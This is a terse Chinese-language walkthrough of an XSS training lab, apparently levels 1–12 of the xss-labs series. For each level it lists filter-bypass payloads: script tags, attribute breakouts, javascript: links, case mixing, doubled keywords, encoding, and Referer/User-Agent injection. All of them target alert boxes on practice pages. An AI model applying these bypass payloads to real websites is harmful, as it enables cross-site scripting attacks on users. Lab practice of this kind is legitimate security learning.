Level1
怎么没有索引。看一下网页源代码,没有任何过滤
直接name重新赋值就行了
<script>alert('xss')</script>
怎么不回显,代码中内容,原来是版本太低了,修改高版本就行了
Lessl 2
看下源码发现,恶意代码被编译了
注意哪里是传输我们的代码,发现在value位置,现在只要把这里的属性注释掉就可以了
"><script>alert('xss')</script>//
Less 3
尝试1
Test
看到是get方法传输
尝试
<script>alert('xss')</script>2
怎么还少了一半,看一下前端代码
明显看到前面的一部分没有被转义,,闭合再构造就可以了'οnclick='alert("xss"),之所以不用<script>是因为<>仍然会被转义,只是由于当作字符串来显示。
Less 4
还是前两部,发现get传输,
看下源码
试一下'"&<>
发现有被过滤字符
<>被过滤了
试一下less-3解题思路
'οnclick='alert("xss")
发现还是不行,看下前端代码,发现value处可以使用双引号闭合,就可以绕过
"οnclick="alert(/xss/)
Less-5
是反射型xss get传输
还是基本的测试下
这里对onfocus进行防备,这里对script也有防备,可以尝试下其他的标签
"> <a href=javascript:alert('xss') > xss</a> //
Less 6
发现和上一关一样<>做了转义
用—间隔value中的值。
一样和上关
那尝试的大小写混写
"> <a HrEf=javascript:alert('xss') > xss</a> //
Less 7
尝试,发现少了
发现有些词被删了,想下就需要使用多写绕过
使用上一关过的,xss,发现script onlick 中on 被删,双写尝试
level7.php?keyword="> <Sscriptcript>alert("xss")</sscriptcript>
Less-8
基本尝试
<>被过滤,onlick也有防备,大小写也不行,那我们可尝试下unicode代码
Javascript:alert(“xss”)转换下就行了
Less 9
这里源代码中显示您的链接不合法?猜测可能是需要一个合法地址
?keyword=javascript:alert('xss')http://www.baidu.com
还不行,大小写也不行,奇怪了
那再试试编码
注意在http://www.baidu.com 之间加//
Less 10
发现有三个变量
看那个标签可以突破
?keyword=<script>alert('xss')</script>&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"
t-sort可以突破
构造
?keyword=<script>alert('xss')</script>&t_sort=" type="text" οnclick="alert('xss')
Less -11
查看代码
看下能突破吗同上
?keyword=goodjob!&t_link="type="text&t_history="type="text&t_sort="type="text&t_ref="type="text
发现t_sort接收参数,并且“”被编译了
Burp抓包
们没有referer可以自己加,发送等回显,然后放行就可以了
Less-12
查看源代码
T-ua的value值很像抓取数据包中User-Agent头的值
发现user-Agent和t--ua值是一样的
放行就行了